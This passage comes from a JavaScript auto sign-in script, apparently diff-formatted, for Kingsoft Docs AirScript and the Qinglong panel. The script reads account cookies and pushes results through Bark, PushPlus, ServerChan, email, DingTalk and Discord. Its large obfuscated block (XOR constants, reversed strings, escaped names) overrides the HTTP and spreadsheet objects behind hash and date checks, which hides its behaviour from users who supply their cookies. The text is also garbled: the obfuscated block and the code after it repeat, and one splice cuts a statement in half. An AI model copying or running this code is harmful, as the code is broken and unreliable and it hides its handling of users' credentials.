len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 